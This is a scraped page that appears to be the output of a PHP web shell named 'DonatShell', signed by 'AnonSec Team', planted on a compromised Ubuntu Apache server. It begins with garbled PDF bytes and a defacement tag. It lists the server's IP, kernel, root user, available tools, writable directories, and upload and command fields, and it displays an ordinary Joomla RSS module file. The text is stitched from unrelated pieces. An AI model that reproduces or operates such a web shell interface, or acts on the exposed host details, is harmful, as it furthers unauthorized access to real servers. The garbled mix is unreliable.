%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/modules/mod_continuous_rss_scrolling/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/modules/mod_continuous_rss_scrolling/helper.php
<?php
/**
 * Continuous rss scrolling
 *
 * @package 	Continuous rss scrolling
 * @subpackage 	Continuous rss scrolling
 * @version   	4.3
 * @author    	Gopi Ramasamy
 * @copyright 	Copyright (C) 2010 - 2015 www.gopiplus.com, LLC
 * @license   	http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 only
 *
 * http://www.gopiplus.com/extensions/2011/06/continuous-rss-scrolling-joomla-module/
 *
 */

// no direct access
defined('_JEXEC') or die;

class modContinuousRssScrollingHelper
{
	public static function loadScripts(&$params)
	{
		$doc = JFactory::getDocument();
		$doc->addScript(JURI::Root(true).'/modules/mod_continuous_rss_scrolling/mod_continuous_rss_scrolling.js');
	}
	
	public static function getFeed($args)
	{
		$url = $args['crs_rss_url'];
		
		if($url == "")
		{
			$url = "http://www.gopiplus.com/work/feed";
		}
		
		$items	= array();
		$xml = "";
		$cnt=0;
		$content = @file_get_contents($url);
		if (strpos($http_response_header[0], "200")) 
		{
			$f = fopen( $url, 'r' );
			while( $data = fread( $f, 4096 ) ) { $xml .= $data; }
			fclose( $f );
			preg_match_all( "/\<item\>(.*?)\<\/item\>/s", $xml, $itemblocks );
			$i=0;
			if ( ! empty($itemblocks) ) 
			{
				foreach( $itemblocks[1] as $block )
				{
					preg_match_all( "/\<title\>(.*?)\<\/title\>/",  $block, $title );
					preg_match_all( "/\<link\>(.*?)\<\/link\>/", $block, $link );
					$crs_post_title = $title[1][0];
					$crs_post_title = trim($crs_post_title);
					$crs_post_link = $link[1][0];
					$crs_post_link = trim($crs_post_link);
					$items[$i] = new stdClass;
					$items[$i]->title	= $crs_post_title;
					$items[$i]->link	= $crs_post_link;
					$i++;			
				}	
			}
		}
		else
		{
			echo "Invalid or Broken rss link.";
		}
		return $items;
	}
}
?>

Anon7 - 2022
AnonSec Team